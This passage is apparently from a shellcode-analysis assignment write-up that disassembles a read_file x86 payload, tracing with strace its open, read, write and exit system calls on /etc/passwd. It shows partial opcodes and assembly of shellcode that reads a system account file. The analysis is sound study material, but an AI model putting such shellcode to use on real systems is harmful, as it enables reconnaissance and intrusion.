Furthermore, the edx register will hold the hex value 0x1000 ( 4096 in decimal ). Moreover, as we mentioned before, the edx register refers to the third argument of the read system call where the read system call reads up to 4096 bytes from file descriptor fd into the buffer starting at buf. After calling the instruction int 0x80 the read system call will be executed and then the return value will contain the number of bytes read from the specified file descriptor.
Moreover, according with the above results, the read system call will be constructed as follows
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096)
Next, we will continue to analyse the following code snippet
0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80
Furthermore, the eax register will contain the return value of read system call, referring to the number of bytes read from the specified file descriptor. In order to see the number of bytes read from the specified file descriptor we will use a tool called strace. According to the main site of the strace utility, the strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state. For now all we need to see from strace is the return value of the read system call.
root@kali:~/Documents/SLAE/Assignment5# strace ./shellcode [...] read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 3145 [...]
From strace output we are seeing that the read system call returned 3145 which will be assigned to eax register. Later on the edx register will be assigned with the value of eax register as seen below
mov edx,eax ;the returned value of read system call will be moved to edx register from eax register
Then the eax register will be assigned with the immediate value 0x4 which refers to the write system call as we see at the unistd_32.h header file below
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_write " #define __NR_write 4
The write system call prototype is as follows
#include <unistd.h>
ssize_t write(int _fd_ , const void _buf_ , size_t _count_ );
As we see the write system call takes three arguments. According to the man page the write system call writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd. Also from the Linux system call table we can see the registers that referring to write the system call arguments. As we see from the table, the edx register refers to the third argument, the ecx register to the second and the ebx register to the first argument.
Next, the file descriptor will reference the file where the write system call will write the counted bytes, so the file descriptor will refer to the standard output which has the value 1 and it will be assigned to the ebx register as seen below
mov ebx, 0x1 ; mov fd of standard output to ebx register
Then the write system call will be called using the instruction int 0x80
int 0x80 ; execute the write system call
According with the above results the write system call will be as follows
write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 3145)
The last code portion to analyse regarding the ndisasm output is the following
0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80
As we see above, the first instruction will move the immediate value 0x1 to eax register.
mov eax,0x1 ;moves 0x1 to eax register
As we see from the header file unistd_32.h, the the value 0x1 refers to the exit system call as seen below
root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_exit " #define __NR_exit 1
The next instruction assigns the zero value to the exit system call providing the value of the status argument. According to the man page of exit system call, the value of status is returned to the parent process as the process’s exit status, and can be collected using one of the wait family of calls. The exit system call used to terminate a program. Every command returns an exit status (sometimes referred to as a return status ). A successful command returns zero. The following instruction assigns the ebx register with zero value denoting the status of the exit system call.
mov ebx,0x0 ; ebx register will be assigned with zero
Next ,the final instruction int 0x80 will be used to execute the exit system call in order to terminate the program gracefully.
To summarise, from the read_file shellcode analysis the following system calls used
open("/etc/passwd", O\_RDONLY) read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 3145) exit(0)